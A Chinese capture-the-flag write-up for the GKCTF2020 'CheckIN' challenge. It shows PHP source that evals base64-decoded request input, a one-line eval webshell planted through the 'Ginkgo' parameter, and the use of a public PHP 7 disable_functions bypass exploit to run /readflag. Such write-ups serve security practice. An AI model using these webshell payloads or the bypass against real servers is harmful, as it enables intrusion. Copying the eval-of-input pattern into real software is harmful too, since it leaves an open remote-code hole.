[GKCTF2020]CheckIN bypass_php7_disable_functions

[GKCTF2020]CheckIN

 

<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

Ginkgo可以传参，之后参数会保存在当前页面中，传参一句话，使用连接工具连接

查看PHP配置信息：

需要将'phpinfo();'用base64加密成 'cGhwaW5mbygpOw=='，再传参

 

 

 

写个一句话木马连上看看。

 

 

 

http://c9cf2cc4-7655-4aa5-87be-79e5ae1f7927.node3.buuoj.cn/?Ginkgo=eval($_POST[c]);

 

http://c9cf2cc4-7655-4aa5-87be-79e5ae1f7927.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbY10pOw==

 

 

 

 

后台看了一遍'/'目录下有flag相关的文件，但是没有权限

 

WP解释说是PHP里面禁用了相关函数，所以我们需要绕过的exp，上传至服务器目录，并执行

WP里面给出了下载地址：https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

文件里面pwn函数后面（）中是要放执行的命令，我们改为执行'/readflag'

 

之后上传至服务器，这里我们无法直接用Ginkgo来读取exp使其执行

 

需要之前的一句话，配合hackbar来执行文件包含，最后读取flag并显示

 

 

参考大佬：https://www.cnblogs.com/echoDetected/p/12961036.html